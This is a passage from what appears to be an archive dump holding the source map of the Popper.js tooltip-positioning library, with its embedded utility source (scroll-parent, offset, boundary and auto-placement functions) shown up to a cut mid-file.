YCH9C,aAA2C,MACnCtM,GAAgBH,EAAQG,oBACvBA,GAAgBA,EAAcC,WAA9BD,CAA4CD,OCCrD,eAA+D,aAExCwM,oBAAoB,SAAUC,EAAMC,eAGnDC,cAAcC,QAAQC,KAAU,GAC7BL,oBAAoB,SAAUC,EAAMC,YAD7C,KAKMA,YAAc,OACdC,mBACAG,cAAgB,OAChBC,mBCPR,iBAA4D,MACpDC,GAAiBC,aAEnBpB,EAAUR,KAAVQ,CAAgB,CAAhBA,CAAmBrC,IAAqB,MAArBA,GAAnBqC,WAEWe,QAAQjJ,KAAY,CAC7BA,EAAS,UAATA,CAD6B,UAEvByI,KAAK,wDAFkB,MAI3Bc,GAAKvJ,EAAS,UAATA,GAAwBA,EAASuJ,GACxCvJ,EAASqI,OAATrI,EAAoBwJ,IALS,KAS1BzI,QAAQ0C,OAAS3B,EAAc2H,EAAK1I,OAAL0I,CAAahG,MAA3B3B,CATS,GAU1Bf,QAAQ2I,UAAY5H,EAAc2H,EAAK1I,OAAL0I,CAAaC,SAA3B5H,CAVM,GAYxByH,MAZwB,CAAnC,KCXF,eAA2D,QAClDrF,QAAiB+E,QAAQ,WAAe,MACvCU,GAAQC,KACVD,MAFyC,GAKnCE,kBALmC,GAGnCC,eAAmBF,KAH/B,GCCF,eAAmD,QAC1C1F,QAAa+E,QAAQc,KAAQ,IAC9BC,GAAO,GAIP,CAAC,CADH,oDAAsD9L,OAAtD,KAEA+L,EAAUxJ,IAAVwJ,CANgC,KAQzB,IARyB,IAU1BpC,SAAcpH,MAVxB,sBCR2E,MACrEyJ,GAAmC,MAA1B7H,KAAa1F,SACtBuM,EAASgB,EAAS7H,EAAa/F,aAAb+F,CAA2B9F,WAApC2N,KACRC,qBAAkC,CAAEC,UAAF,EAHkC,MAOvE/M,EAAgB6L,EAAOtM,UAAvBS,QAPuE,GAa7DgN,QAShB,mBAKE,GAEMtB,aAFN,MAGqBoB,iBAAiB,SAAUrB,EAAMC,YAAa,CAAEqB,UAAF,EAHnE,MAMMjB,GAAgB9L,gBAGpB,SACAyL,EAAMC,YACND,EAAME,iBAEFG,kBACAC,mBCyBR,MAAe,uBAAA,WAAA,YAAA,iBAAA,gBAAA,wBAAA,gBAAA,kBAAA,gBAAA,uCAAA,gBAAA,gBAAA,mBAAA,sBAAA,YAAA,kBAAA,2BAAA,2BAAA,iBAAA,UAAA,aAAA,oBAAA,qBAAA,YAAA,uBAAA,eAAA,gBAAA,YAAA,sBAAA,CAAf"}popper.min.js.map000064400000353232151677356750010003 0ustar00{"version":3,"file":"popper.min.js","sources":["../src/utils/isBrowser.js","../src/utils/debounce.js","../src/utils/isFunction.js","../src/utils/getStyleComputedProperty.js","../src/utils/getParentNode.js","../src/utils/getScrollParent.js","../src/utils/isIE.js","../src/utils/getOffsetParent.js","../src/utils/isOffsetContainer.js","../src/utils/getRoot.js","../src/utils/findCommonOffsetParent.js","../src/utils/getScroll.js","../src/utils/includeScroll.js","../src/utils/getBordersSize.js","../src/utils/getWindowSizes.js","../src/utils/getClientRect.js","../src/utils/getBoundingClientRect.js","../src/utils/getOffsetRectRelativeToArbitraryNode.js","../src/utils/getViewportOffsetRectRelativeToArtbitraryNode.js","../src/utils/isFixed.js","../src/utils/getFixedPositionOffsetParent.js","../src/utils/getBoundaries.js","../src/utils/computeAutoPlacement.js","../src/utils/getReferenceOffsets.js","../src/utils/getOuterSizes.js","../src/utils/getOppositePlacement.js","../src/utils/getPopperOffsets.js","../src/utils/find.js","../src/utils/findIndex.js","../src/utils/runModifiers.js","../src/methods/update.js","../src/utils/isModifierEnabled.js","../src/utils/getSupportedPropertyName.js","../src/methods/destroy.js","../src/utils/getWindow.js","../src/utils/setupEventListeners.js","../src/methods/enableEventListeners.js","../src/utils/removeEventListeners.js","../src/methods/disableEventListeners.js","../src/utils/isNumeric.js","../src/utils/setStyles.js","../src/utils/setAttributes.js","../src/modifiers/applyStyle.js","../src/modifiers/computeStyle.js","../src/utils/isModifierRequired.js","../src/modifiers/arrow.js","../src/utils/getOppositeVariation.js","../src/methods/placements.js","../src/utils/clockwise.js","../src/modifiers/flip.js","../src/modifiers/keepTogether.js","../src/modifiers/offset.js","../src/modifiers/preventOverflow.js","../src/modifiers/shift.js","../src/modifiers/hide.js","../src/modifiers/inner.js","../src/modifiers/index.js","../src/methods/defaults.js","../src/index.js"],"sourcesContent":["export default typeof window !== 'undefined' && typeof document !== 'undefined';\n","import isBrowser from './isBrowser';\n\nconst longerTimeoutBrowsers = ['Edge', 'Trident', 'Firefox'];\nlet timeoutDuration = 0;\nfor (let i = 0; i < longerTimeoutBrowsers.length; i += 1) {\n  if (isBrowser && navigator.userAgent.indexOf(longerTimeoutBrowsers[i]) >= 0) {\n    timeoutDuration = 1;\n    break;\n  }\n}\n\nexport function microtaskDebounce(fn) {\n  let called = false\n  return () => {\n    if (called) {\n      return\n    }\n    called = true\n    window.Promise.resolve().then(() => {\n      called = false\n      fn()\n    })\n  }\n}\n\nexport function taskDebounce(fn) {\n  let scheduled = false;\n  return () => {\n    if (!scheduled) {\n      scheduled = true;\n      setTimeout(() => {\n        scheduled = false;\n        fn();\n      }, timeoutDuration);\n    }\n  };\n}\n\nconst supportsMicroTasks = isBrowser && window.Promise\n\n\n/**\n* Create a debounced version of a method, that's asynchronously deferred\n* but called in the minimum time possible.\n*\n* @method\n* @memberof Popper.Utils\n* @argument {Function} fn\n* @returns {Function}\n*/\nexport default (supportsMicroTasks\n  ? microtaskDebounce\n  : taskDebounce);\n","/**\n * Check if the given variable is a function\n * @method\n * @memberof Popper.Utils\n * @argument {Any} functionToCheck - variable to check\n * @returns {Boolean} answer to: is a function?\n */\nexport default function isFunction(functionToCheck) {\n  const getType = {};\n  return (\n    functionToCheck &&\n    getType.toString.call(functionToCheck) === '[object Function]'\n  );\n}\n","/**\n * Get CSS computed property of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Eement} element\n * @argument {String} property\n */\nexport default function getStyleComputedProperty(element, property) {\n  if (element.nodeType !== 1) {\n    return [];\n  }\n  // NOTE: 1 DOM access here\n  const window = element.ownerDocument.defaultView;\n  const css = window.getComputedStyle(element, null);\n  return property ? css[property] : css;\n}\n","/**\n * Returns the parentNode or the host of the element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} parent\n */\nexport default function getParentNode(element) {\n  if (element.nodeName === 'HTML') {\n    return element;\n  }\n  return element.parentNode || element.host;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Returns the scrolling parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} scroll parent\n */\nexport default function getScrollParent(element) {\n  // Return body, `getScroll` will take care to get the correct `scrollTop` from it\n  if (!element) {\n    return document.body\n  }\n\n  switch (element.nodeName) {\n    case 'HTML':\n    case 'BODY':\n      return element.ownerDocument.body\n    case '#document':\n      return element.body\n  }\n\n  // Firefox want us to check `-x` and `-y` variations as well\n  const { overflow, overflowX, overflowY } = getStyleComputedProperty(element);\n  if (/(auto|scroll|overlay)/.test(overflow + overflowY + overflowX)) {\n    return element;\n  }\n\n  return getScrollParent(getParentNode(element));\n}\n","import isBrowser from './isBrowser';\n\nconst isIE11 = isBrowser && !!(window.MSInputMethodContext && document.documentMode);\nconst isIE10 = isBrowser && /MSIE 10/.test(navigator.userAgent);\n\n/**\n * Determines if the browser is Internet Explorer\n * @method\n * @memberof Popper.Utils\n * @param {Number} version to check\n * @returns {Boolean} isIE\n */\nexport default function isIE(version) {\n  if (version === 11) {\n    return isIE11;\n  }\n  if (version === 10) {\n    return isIE10;\n  }\n  return isIE11 || isIE10;\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Returns the offset parent of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} offset parent\n */\nexport default function getOffsetParent(element) {\n  if (!element) {\n    return document.documentElement;\n  }\n\n  const noOffsetParent = isIE(10) ? document.body : null;\n\n  // NOTE: 1 DOM access here\n  let offsetParent = element.offsetParent || null;\n  // Skip hidden elements which don't have an offsetParent\n  while (offsetParent === noOffsetParent && element.nextElementSibling) {\n    offsetParent = (element = element.nextElementSibling).offsetParent;\n  }\n\n  const nodeName = offsetParent && offsetParent.nodeName;\n\n  if (!nodeName || nodeName === 'BODY' || nodeName === 'HTML') {\n    return element ? element.ownerDocument.documentElement : document.documentElement;\n  }\n\n  // .offsetParent will return the closest TH, TD or TABLE in case\n  // no offsetParent is present, I hate this job...\n  if (\n    ['TH', 'TD', 'TABLE'].indexOf(offsetParent.nodeName) !== -1 &&\n    getStyleComputedProperty(offsetParent, 'position') === 'static'\n  ) {\n    return getOffsetParent(offsetParent);\n  }\n\n  return offsetParent;\n}\n","import getOffsetParent from './getOffsetParent';\n\nexport default function isOffsetContainer(element) {\n  const { nodeName } = element;\n  if (nodeName === 'BODY') {\n    return false;\n  }\n  return (\n    nodeName === 'HTML' || getOffsetParent(element.firstElementChild) === element\n  );\n}\n","/**\n * Finds the root node (document, shadowDOM root) of the given element\n * @method\n * @memberof Popper.Utils\n * @argument {Element} node\n * @returns {Element} root node\n */\nexport default function getRoot(node) {\n  if (node.parentNode !== null) {\n    return getRoot(node.parentNode);\n  }\n\n  return node;\n}\n","import isOffsetContainer from './isOffsetContainer';\nimport getRoot from './getRoot';\nimport getOffsetParent from './getOffsetParent';\n\n/**\n * Finds the offset parent common to the two provided nodes\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element1\n * @argument {Element} element2\n * @returns {Element} common offset parent\n */\nexport default function findCommonOffsetParent(element1, element2) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n  if (!element1 || !element1.nodeType || !element2 || !element2.nodeType) {\n    return document.documentElement;\n  }\n\n  // Here we make sure to give as \"start\" the element that comes first in the DOM\n  const order =\n    element1.compareDocumentPosition(element2) &\n    Node.DOCUMENT_POSITION_FOLLOWING;\n  const start = order ? element1 : element2;\n  const end = order ? element2 : element1;\n\n  // Get common ancestor container\n  const range = document.createRange();\n  range.setStart(start, 0);\n  range.setEnd(end, 0);\n  const { commonAncestorContainer } = range;\n\n  // Both nodes are inside #document\n  if (\n    (element1 !== commonAncestorContainer &&\n      element2 !== commonAncestorContainer) ||\n    start.contains(end)\n  ) {\n    if (isOffsetContainer(commonAncestorContainer)) {\n      return commonAncestorContainer;\n    }\n\n    return getOffsetParent(commonAncestorContainer);\n  }\n\n  // one of the nodes is inside shadowDOM, find which one\n  const element1root = getRoot(element1);\n  if (element1root.host) {\n    return findCommonOffsetParent(element1root.host, element2);\n  } else {\n    return findCommonOffsetParent(element1, getRoot(element2).host);\n  }\n}\n","/**\n * Gets the scroll value of the given element in the given side (top and left)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {String} side `top` or `left`\n * @returns {number} amount of scrolled pixels\n */\nexport default function getScroll(element, side = 'top') {\n  const upperSide = side === 'top' ? 'scrollTop' : 'scrollLeft';\n  const nodeName = element.nodeName;\n\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    const html = element.ownerDocument.documentElement;\n    const scrollingElement = element.ownerDocument.scrollingElement || html;\n    return scrollingElement[upperSide];\n  }\n\n  return element[upperSide];\n}\n","import getScroll from './getScroll';\n\n/*\n * Sum or subtract the element scroll values (left and top) from a given rect object\n * @method\n * @memberof Popper.Utils\n * @param {Object} rect - Rect object you want to change\n * @param {HTMLElement} element - The element from the function reads the scroll values\n * @param {Boolean} subtract - set to true if you want to subtract the scroll values\n * @return {Object} rect - The modifier rect object\n */\nexport default function includeScroll(rect, element, subtract = false) {\n  const scrollTop = getScroll(element, 'top');\n  const scrollLeft = getScroll(element, 'left');\n  const modifier = subtract ? -1 : 1;\n  rect.top += scrollTop * modifier;\n  rect.bottom += scrollTop * modifier;\n  rect.left += scrollLeft * modifier;\n  rect.right += scrollLeft * modifier;\n  return rect;\n}\n","/*\n * Helper to detect borders of a given element\n * @method\n * @memberof Popper.Utils\n * @param {CSSStyleDeclaration} styles\n * Result of `getStyleComputedProperty` on the given element\n * @param {String} axis - `x` or `y`\n * @return {number} borders - The borders size of the given axis\n */\n\nexport default function getBordersSize(styles, axis) {\n  const sideA = axis === 'x' ? 'Left' : 'Top';\n  const sideB = sideA === 'Left' ? 'Right' : 'Bottom';\n\n  return (\n    parseFloat(styles[`border${sideA}Width`], 10) +\n    parseFloat(styles[`border${sideB}Width`], 10)\n  );\n}\n","import isIE from './isIE';\n\nfunction getSize(axis, body, html, computedStyle) {\n  return Math.max(\n    body[`offset${axis}`],\n    body[`scroll${axis}`],\n    html[`client${axis}`],\n    html[`offset${axis}`],\n    html[`scroll${axis}`],\n    isIE(10)\n      ? (parseInt(html[`offset${axis}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Top' : 'Left'}`]) + \n      parseInt(computedStyle[`margin${axis === 'Height' ? 'Bottom' : 'Right'}`]))\n    : 0 \n  );\n}\n\nexport default function getWindowSizes(document) {\n  const body = document.body;\n  const html = document.documentElement;\n  const computedStyle = isIE(10) && getComputedStyle(html);\n\n  return {\n    height: getSize('Height', body, html, computedStyle),\n    width: getSize('Width', body, html, computedStyle),\n  };\n}\n","/**\n * Given element offsets, generate an output similar to getBoundingClientRect\n * @method\n * @memberof Popper.Utils\n * @argument {Object} offsets\n * @returns {Object} ClientRect like output\n */\nexport default function getClientRect(offsets) {\n  return {\n    ...offsets,\n    right: offsets.left + offsets.width,\n    bottom: offsets.top + offsets.height,\n  };\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getBordersSize from './getBordersSize';\nimport getWindowSizes from './getWindowSizes';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\nimport isIE from './isIE';\n\n/**\n * Get bounding client rect of given element\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} element\n * @return {Object} client rect\n */\nexport default function getBoundingClientRect(element) {\n  let rect = {};\n\n  // IE10 10 FIX: Please, don't ask, the element isn't\n  // considered in DOM in some circumstances...\n  // This isn't reproducible in IE10 compatibility mode of IE11\n  try {\n    if (isIE(10)) {\n      rect = element.getBoundingClientRect();\n      const scrollTop = getScroll(element, 'top');\n      const scrollLeft = getScroll(element, 'left');\n      rect.top += scrollTop;\n      rect.left += scrollLeft;\n      rect.bottom += scrollTop;\n      rect.right += scrollLeft;\n    }\n    else {\n      rect = element.getBoundingClientRect();\n    }\n  }\n  catch(e){}\n\n  const result = {\n    left: rect.left,\n    top: rect.top,\n    width: rect.right - rect.left,\n    height: rect.bottom - rect.top,\n  };\n\n  // subtract scrollbar size from sizes\n  const sizes = element.nodeName === 'HTML' ? getWindowSizes(element.ownerDocument) : {};\n  const width =\n    sizes.width || element.clientWidth || result.right - result.left;\n  const height =\n    sizes.height || element.clientHeight || result.bottom - result.top;\n\n  let horizScrollbar = element.offsetWidth - width;\n  let vertScrollbar = element.offsetHeight - height;\n\n  // if an hypothetical scrollbar is detected, we must be sure it's not a `border`\n  // we make this check conditional for performance reasons\n  if (horizScrollbar || vertScrollbar) {\n    const styles = getStyleComputedProperty(element);\n    horizScrollbar -= getBordersSize(styles, 'x');\n    vertScrollbar -= getBordersSize(styles, 'y');\n\n    result.width -= horizScrollbar;\n    result.height -= vertScrollbar;\n  }\n\n  return getClientRect(result);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport includeScroll from './includeScroll';\nimport getScrollParent from './getScrollParent';\nimport getBoundingClientRect from './getBoundingClientRect';\nimport runIsIE from './isIE';\nimport getClientRect from './getClientRect';\n\nexport default function getOffsetRectRelativeToArbitraryNode(children, parent, fixedPosition = false) {\n  const isIE10 = runIsIE(10);\n  const isHTML = parent.nodeName === 'HTML';\n  const childrenRect = getBoundingClientRect(children);\n  const parentRect = getBoundingClientRect(parent);\n  const scrollParent = getScrollParent(children);\n\n  const styles = getStyleComputedProperty(parent);\n  const borderTopWidth = parseFloat(styles.borderTopWidth, 10);\n  const borderLeftWidth = parseFloat(styles.borderLeftWidth, 10);\n\n  // In cases where the parent is fixed, we must ignore negative scroll in offset calc\n  if(fixedPosition && isHTML) {\n    parentRect.top = Math.max(parentRect.top, 0);\n    parentRect.left = Math.max(parentRect.left, 0);\n  }\n  let offsets = getClientRect({\n    top: childrenRect.top - parentRect.top - borderTopWidth,\n    left: childrenRect.left - parentRect.left - borderLeftWidth,\n    width: childrenRect.width,\n    height: childrenRect.height,\n  });\n  offsets.marginTop = 0;\n  offsets.marginLeft = 0;\n\n  // Subtract margins of documentElement in case it's being used as parent\n  // we do this only on HTML because it's the only element that behaves\n  // differently when margins are applied to it. The margins are included in\n  // the box of the documentElement, in the other cases not.\n  if (!isIE10 && isHTML) {\n    const marginTop = parseFloat(styles.marginTop, 10);\n    const marginLeft = parseFloat(styles.marginLeft, 10);\n\n    offsets.top -= borderTopWidth - marginTop;\n    offsets.bottom -= borderTopWidth - marginTop;\n    offsets.left -= borderLeftWidth - marginLeft;\n    offsets.right -= borderLeftWidth - marginLeft;\n\n    // Attach marginTop and marginLeft because in some circumstances we may need them\n    offsets.marginTop = marginTop;\n    offsets.marginLeft = marginLeft;\n  }\n\n  if (\n    isIE10 && !fixedPosition\n      ? parent.contains(scrollParent)\n      : parent === scrollParent && scrollParent.nodeName !== 'BODY'\n  ) {\n    offsets = includeScroll(offsets, parent);\n  }\n\n  return offsets;\n}\n","import getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getScroll from './getScroll';\nimport getClientRect from './getClientRect';\n\nexport default function getViewportOffsetRectRelativeToArtbitraryNode(element, excludeScroll = false) {\n  const html = element.ownerDocument.documentElement;\n  const relativeOffset = getOffsetRectRelativeToArbitraryNode(element, html);\n  const width = Math.max(html.clientWidth, window.innerWidth || 0);\n  const height = Math.max(html.clientHeight, window.innerHeight || 0);\n\n  const scrollTop = !excludeScroll ? getScroll(html) : 0;\n  const scrollLeft = !excludeScroll ? getScroll(html, 'left') : 0;\n\n  const offset = {\n    top: scrollTop - relativeOffset.top + relativeOffset.marginTop,\n    left: scrollLeft - relativeOffset.left + relativeOffset.marginLeft,\n    width,\n    height,\n  };\n\n  return getClientRect(offset);\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport getParentNode from './getParentNode';\n\n/**\n * Check if the given element is fixed or is inside a fixed parent\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @argument {Element} customContainer\n * @returns {Boolean} answer to \"isFixed?\"\n */\nexport default function isFixed(element) {\n  const nodeName = element.nodeName;\n  if (nodeName === 'BODY' || nodeName === 'HTML') {\n    return false;\n  }\n  if (getStyleComputedProperty(element, 'position') === 'fixed') {\n    return true;\n  }\n  return isFixed(getParentNode(element));\n}\n","import getStyleComputedProperty from './getStyleComputedProperty';\nimport isIE from './isIE';\n/**\n * Finds the first parent of an element that has a transformed property defined\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Element} first transformed parent or documentElement\n */\n\nexport default function getFixedPositionOffsetParent(element) {\n  // This check is needed to avoid errors in case one of the elements isn't defined for any reason\n   if (!element || !element.parentElement || isIE()) {\n    return document.documentElement;\n  }\n  let el = element.parentElement;\n  while (el && getStyleComputedProperty(el, 'transform') === 'none') {\n    el = el.parentElement;\n  }\n  return el || document.documentElement;\n\n}\n","import getScrollParent from './getScrollParent';\nimport getParentNode from './getParentNode';\nimport findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getViewportOffsetRectRelativeToArtbitraryNode from './getViewportOffsetRectRelativeToArtbitraryNode';\nimport getWindowSizes from './getWindowSizes';\nimport isFixed from './isFixed';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Computed the boundaries limits and return them\n * @method\n * @memberof Popper.Utils\n * @param {HTMLElement} popper\n * @param {HTMLElement} reference\n * @param {number} padding\n * @param {HTMLElement} boundariesElement - Element used to define the boundaries\n * @param {Boolean} fixedPosition - Is in fixed position mode\n * @returns {Object} Coordinates of the boundaries\n */\nexport default function getBoundaries(\n  popper,\n  reference,\n  padding,\n  boundariesElement,\n  fixedPosition = false\n) {\n  // NOTE: 1 DOM access here\n\n  let boundaries = { top: 0, left: 0 };\n  const offsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n\n  // Handle viewport case\n  if (boundariesElement === 'viewport' ) {\n    boundaries = getViewportOffsetRectRelativeToArtbitraryNode(offsetParent, fixedPosition);\n  }\n\n  else {\n    // Handle other cases based on DOM element used as boundaries\n    let boundariesNode;\n    if (boundariesElement === 'scrollParent') {\n      boundariesNode = getScrollParent(getParentNode(reference));\n      if (boundariesNode.nodeName === 'BODY') {\n        boundariesNode = popper.ownerDocument.documentElement;\n      }\n    } else if (boundariesElement === 'window') {\n      boundariesNode = popper.ownerDocument.documentElement;\n    } else {\n      boundariesNode = boundariesElement;\n    }\n\n    const offsets = getOffsetRectRelativeToArbitraryNode(\n      boundariesNode,\n      offsetParent,\n      fixedPosition\n    );\n\n    // In case of HTML, we need a different computation\n    if (boundariesNode.nodeName === 'HTML' && !isFixed(offsetParent)) {\n      const { height, width } = getWindowSizes(popper.ownerDocument);\n      boundaries.top += offsets.top - offsets.marginTop;\n      boundaries.bottom = height + offsets.top;\n      boundaries.left += offsets.left - offsets.marginLeft;\n      boundaries.right = width + offsets.left;\n    } else {\n      // for all the other DOM elements, this one is good\n      boundaries = offsets;\n    }\n  }\n\n  // Add paddings\n  padding = padding || 0;\n  const isPaddingNumber = typeof padding === 'number';\n  boundaries.left += isPaddingNumber ? padding : padding.left || 0; \n  boundaries.top += isPaddingNumber ? padding : padding.top || 0; \n  boundaries.right -= isPaddingNumber ? padding : padding.right || 0; \n  boundaries.bottom -= isPaddingNumber ? padding : padding.bottom || 0; \n\n  return boundaries;\n}\n","import getBoundaries from '../utils/getBoundaries';\n\nfunction getArea({ width, height }) {\n  return width * height;\n}\n\n/**\n * Utility used to transform the `auto` placement to the placement with more\n * available space.\n * @method\n * @memberof Popper.Utils\n * @argument {Object} data - The data object generated by update method\n * @argument {Object} options - Modifiers configuration and options\n * @returns {Object} The data object, properly modified\n */\nexport default function computeAutoPlacement(\n  placement,\n  refRect,\n  popper,\n  reference,\n  boundariesElement,\n  padding = 0\n) {\n  if (placement.indexOf('auto') === -1) {\n    return placement;\n  }\n\n  const boundaries = getBoundaries(\n    popper,\n    reference,\n    padding,\n    boundariesElement\n  );\n\n  const rects = {\n    top: {\n      width: boundaries.width,\n      height: refRect.top - boundaries.top,\n    },\n    right: {\n      width: boundaries.right - refRect.right,\n      height: boundaries.height,\n    },\n    bottom: {\n      width: boundaries.width,\n      height: boundaries.bottom - refRect.bottom,\n    },\n    left: {\n      width: refRect.left - boundaries.left,\n      height: boundaries.height,\n    },\n  };\n\n  const sortedAreas = Object.keys(rects)\n    .map(key => ({\n      key,\n      ...rects[key],\n      area: getArea(rects[key]),\n    }))\n    .sort((a, b) => b.area - a.area);\n\n  const filteredAreas = sortedAreas.filter(\n    ({ width, height }) =>\n      width >= popper.clientWidth && height >= popper.clientHeight\n  );\n\n  const computedPlacement = filteredAreas.length > 0\n    ? filteredAreas[0].key\n    : sortedAreas[0].key;\n\n  const variation = placement.split('-')[1];\n\n  return computedPlacement + (variation ? `-${variation}` : '');\n}\n","import findCommonOffsetParent from './findCommonOffsetParent';\nimport getOffsetRectRelativeToArbitraryNode from './getOffsetRectRelativeToArbitraryNode';\nimport getFixedPositionOffsetParent from './getFixedPositionOffsetParent';\n\n/**\n * Get offsets to the reference element\n * @method\n * @memberof Popper.Utils\n * @param {Object} state\n * @param {Element} popper - the popper element\n * @param {Element} reference - the reference element (the popper will be relative to this)\n * @param {Element} fixedPosition - is in fixed position mode\n * @returns {Object} An object containing the offsets which will be applied to the popper\n */\nexport default function getReferenceOffsets(state, popper, reference, fixedPosition = null) {\n  const commonOffsetParent = fixedPosition ? getFixedPositionOffsetParent(popper) : findCommonOffsetParent(popper, reference);\n  return getOffsetRectRelativeToArbitraryNode(reference, commonOffsetParent, fixedPosition);\n}\n","/**\n * Get the outer sizes of the given element (offset size + margins)\n * @method\n * @memberof Popper.Utils\n * @argument {Element} element\n * @returns {Object} object containing width and height properties\n */\nexport default function getOuterSizes(element) {\n  const window = element.ownerDocument.defaultView;\n  const styles = window.getComputedStyle(element);\n  const x = parseFloat(styles.marginTop) + parseFloat(styles.marginBottom);\n  const y = parseFloat(styles.marginLeft) + parseFloat(styles.marginRight);\n  const result = {\n    width: element.offsetWidth + y,\n    height: element.offsetHeight + x,\n  };\n  return result;\n}\n","/**\n * Get the opposite placement of the given one\n * @method\n * @memberof Popper.Utils\n * @argument {String} placement\n * @returns {String} flipped placement\n */\nexport default function getOppositePlacement(placement) {\n  const hash = { left: 'right', right: 'left', bottom: 'top', top: 'bottom' };\n  return placement.replace(/left|right|bottom|top/g, matched => hash[matched]);\n}\n","import getOuterSizes from './getOuterSizes';\nimport getOppositePlacement from './getOppositePlacement';\n\n/**\n * Get offsets to the popper\n * @method\n * @memberof Popper.Utils\n * @param {Object} position - CSS position the Popper will get applied\n * @param {HTMLElement} popper - the popper element\n * @param {Object} referenceOffsets - the reference offsets (the popper will be relative to this)\n * @param {String} placement - one of the valid placement options\n * @returns {Object} popperOffsets - An object containing the offsets which will be applied to the popper\n */\nexport default function getPopperOffsets(popper, referenceOffsets, placement) {\n  placement = placement.split('-')[0];\n\n  // Get popper node sizes\n  const popperRect = getOuterSizes(popper);\n\n  // Add position, width and height to our offsets object\n  const popperOffsets = {\n    width: popperRect.width,\n    height: popperRect.height,\n  };\n\n  // depending by the popper placement we have to compute its offsets slightly differently\n  const isHoriz = ['right', 'left'].indexOf(placement) !== -1;\n  const mainSide = isHoriz ? 'top' : 'left';\n  const secondarySide = isHoriz ? 'left' : 'top';\n  const measurement = isHoriz ? 'height' : 'width';\n  const secondaryMeasurement = !isHoriz ? 'height' : 'width';\n\n  popperOffsets[mainSide] =\n    referenceOffsets[mainSide] +\n    referenceOffsets[measurement] / 2 -\n    popperRect[measurement] / 2;\n  if (placement === secondarySide) {\n    popperOffsets[secondarySide] =\n      referenceOffsets[secondarySide] - popperRect[secondaryMeasurement];\n  } else {\n    popperOffsets[secondarySide] =\n      referenceOffsets[getOppositePlacement(secondarySide)];\n  }\n\n  return popperOffsets;\n}\n","/**\n * Mimics the `find` method of Array\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function find(arr, check) {\n  // use native find if supported\n  if (Array.prototype.find) {\n    return arr.find(check);\n  }\n\n  // use `filter` to obtain the same behavior of `find`\n  return arr.filter(check)[0];\n}\n","import find from './find';\n\n/**\n * Return the index of the matching object\n * @method\n * @memberof Popper.Utils\n * @argument {Array} arr\n * @argument prop\n * @argument value\n * @returns index or -1\n */\nexport default function findIndex(arr, prop, value) {\n  // use native findIndex if supported\n  if (Array.prototype.findIndex) {\n    return arr.findIndex(cur => cur[prop] === value);\n  }\n\n  // use `find` + `indexOf` if `findIndex` isn't supported\n  const match = find(arr, obj => obj[prop] === value);\n  return arr.indexOf(match);\n}\n","import isFunction from './isFunction';\nimport findIndex from './findIndex';\nimport getClientRect from '../utils/getClientRect';\n\n/**\n * Loop trough the list of modifiers and run them in order,\n * each of them will then edit the data object.\n * @method\n * @memberof Popper.Utils\n * @param {dataObject} data\n * @param {Array} modifiers\n * @param {String} ends - Optional modifier name used as stopper\n * @returns {dataObject}\n */\nexport default function runModifiers(modifiers, data, ends) {\n  const modifiersToRun = ends === undefined\n    ? modifiers\n    : modifiers.slice(0, findIndex(modifiers, 'name', ends));\n\n  modifiersToRun.forEach(modifier => {\n    if (modifier['function']) { // eslint-disable-line dot-notation\n      console.warn('`modifier.function` is deprecated, use `modifier.fn`!');\n    }\n    const fn = modifier['function'] || modifier.fn; // eslint-disable-line dot-notation\n    if (modifier.enabled && isFunction(fn)) {\n      // Add properties to offsets to make them a complete clientRect object\n      // we do this before each modifier to make sure the previous one doesn't\n      // mess with these values\n      data.offsets.popper = getClientRect(data.offsets.popper);\n      data.offsets.reference = getClientRect(data.offsets.reference);\n\n      data = fn(data, modifier);\n    }\n  });\n\n  return data;\n}\n","import computeAutoPlacement from '../utils/computeAutoPlacement';\nimport getReferenceOffsets from '../utils/getReferenceOffsets';\nimport getPopperOffsets from '../utils/getPopperOffsets';\nimport runModifiers from '../utils/runModifiers';\n\n/**\n * Updates the position of the popper, computing the new offsets and applying\n * the new style.<br />\n * Prefer `scheduleUpdate` over `update` because of performance reasons.\n * @method\n * @memberof Popper\n */\nexport default function update() {\n  // if popper is destroyed, don't perform any further update\n  if (this.state.isDestroyed) {\n    return;\n  }\n\n  let data = {\n    instance: this,\n    styles: {},\n    arrowStyles: {},\n    attributes: {},\n    flipped: false,\n    offsets: {},\n  };\n\n  // compute reference element offsets\n  data.offsets.reference = getReferenceOffsets(\n    this.state,\n    this.popper,\n    this.reference,\n    this.options.positionFixed\n  );\n\n  // compute auto placement, store placement inside the data object,\n  // modifiers will be able to edit `placement` if needed\n  // and refer to originalPlacement to know the original value\n  data.placement = computeAutoPlacement(\n    this.options.placement,\n    data.offsets.reference,\n    this.popper,\n    this.reference,\n    this.options.modifiers.flip.boundariesElement,\n    this.options.modifiers.flip.padding\n  );\n\n  // store the computed placement inside `originalPlacement`\n  data.originalPlacement = data.placement;\n\n  data.positionFixed = this.options.positionFixed;\n\n  // compute the popper offsets\n  data.offsets.popper = getPopperOffsets(\n    this.popper,\n    data.offsets.reference,\n    data.placement\n  );\n\n  